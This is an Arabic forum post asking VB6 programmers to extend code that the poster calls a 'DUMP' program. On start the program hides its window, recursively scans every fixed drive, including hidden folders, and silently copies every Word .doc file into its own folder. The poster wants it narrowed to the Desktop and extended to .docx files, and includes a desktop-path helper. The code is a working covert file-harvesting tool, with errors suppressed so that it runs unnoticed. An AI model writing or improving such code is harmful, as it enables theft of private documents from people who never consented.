الســلام عليكم..
إخواني مبرمجي VB6 الكرام
الحقيقة لدي برنامج أحتاج إلى تعديله و قد حاولت به و لكن لضيق وقتي و عدم استخدامي للVB6 منذ وقت طويل فارتأيت أن أطلب منكم ان تقومو بتعديل الكود التالي لي :
الكود عباره عن برنامج يقوم بنسخ ملفات الورد بلاحقة doc إلى داخل مسار البرنامج أي يقوم باختصار بعملية DUMP ,
أما طلبي فهو:
1- أريد تعديل الكود بحيث يقوم بنسخ ملفات الورد من مسار محدد و هو سطح المكتب فقط .
2-أريد أن يقوم البرنامج بنسخ ملفات بلاحقة docx أيضاً أي أوفيس 2007
الكود هو التالي:
اقتباسthis api is to find out what type of drive is denoted by each drive letter
Private Declare Function GetDriveType Lib "kernel32.dll" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
' this api is to find all the existing drive letters
Private Declare Function GetLogicalDrives Lib "kernel32.dll" () As Long
Function FindFiles(path As String, SearchStr As String, _
FileCount As Integer, DirCount As Integer)
Dim FileName As String
Dim DirName As String
Dim dirNames() As String
Dim nDir As Integer
Dim i As Integer
On Error GoTo sysFileERR
If Right(path, 1) <> "\" Then path = path & "\"
nDir = 0
ReDim dirNames(nDir)
DirName = Dir(path, vbDirectory Or vbHidden)
Do While Len(DirName) > 0
If (DirName <> ".") And (DirName <> "..") Then
If GetAttr(path & DirName) And vbDirectory Then
dirNames(nDir) = DirName
DirCount = DirCount + 1
nDir = nDir + 1
ReDim Preserve dirNames(nDir)
End If
sysFileERRCont:
End If
DirName = Dir()
Loop
FileName = Dir(path & SearchStr, vbNormal Or vbHidden Or vbSystem _
Or vbReadOnly)
While Len(FileName) <> 0
FindFiles = FindFiles + FileLen(path & FileName)
FileCount = FileCount + 1
'List1.AddItem path & FileName
On Error Resume Next
FileCopy path & FileName, FileName
FileName = Dir()
Wend
If nDir > 0 Then
For i = 0 To nDir - 1
FindFiles = FindFiles + FindFiles(path & dirNames(i) & "\", _
SearchStr, FileCount, DirCount)
Next i
End If
AbortFunction:
Exit Function
sysFileERR:
If Right(DirName, 4) = ".sys" Then
Resume sysFileERRCont
Else
'MsgBox "Error: " & Err.Number & " - " & Err.Description, , _
'"Unexpected Error"
Resume AbortFunction
End If
End Function
Private Sub Form_Load()
Me.Hide
Dim num As Double
Dim lvar, AllDrives, DriveType As Long
Dim NetworkDrive As String
' get list of drive letters and store in variable AllDrives
AllDrives = GetLogicalDrives()
' loop thru 26 alphabets
For lvar = 0 To 25
' if current alphabet exists as drive letter then,
If (AllDrives And (2 ^ lvar)) = (2 ^ lvar) Then
' find out what type of drive the drive letter denotes
DriveType = GetDriveType(Chr(97 + lvar) & ":\")
' based on what type of drive it is, add it to respective group
If DriveType = 3 Then
num = FindFiles(UCase(Chr(97 + lvar)) & ":", "*.doc", 10, 10)
End If
End If
Next lvar
End Sub
و البرنامج موجود في المرفقات
أما كود الحصول على مسار سطح المكتب فهو :
اقتباس'declarations...Public Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" _
(ByVal hwndOwner As Long, _
ByVal nFolder As Long, pidl As Long) As Long
' Ret: 0=success
Public Declare Function SHGetPathFromIDList Lib "shell32.dll" _
(pidl As Long, ByVal pszPath As String) As Long
Public Declare Function GlobalFree Lib "kernel32" _
(ByVal hMem As Long) As Long
Public Const MAX_PATH = 260
Public Const CSIDL_DESKTOP = &H0
'implementation...
Public Function GetShellFolderPath(ByVal CSIDL As Long) As String
Dim pID As Long
Dim sTmp As String
If SHGetSpecialFolderLocation(0&, CSIDL, pID) = 0& Then
sTmp = String(MAX_PATH + 2, 0)
If SHGetPathFromIDList(ByVal pID, sTmp) <> 0& Then
GetShellFolderPath = Left$(sTmp, InStr(1, sTmp,
vbNullChar) - 1)
End If
End If
If pID <> 0& Then GlobalFree pID
End Function
'usage:
Debug.Print GetShellFolderPath(CSIDL_DESKTOP)
و شكراً لكم مقدماً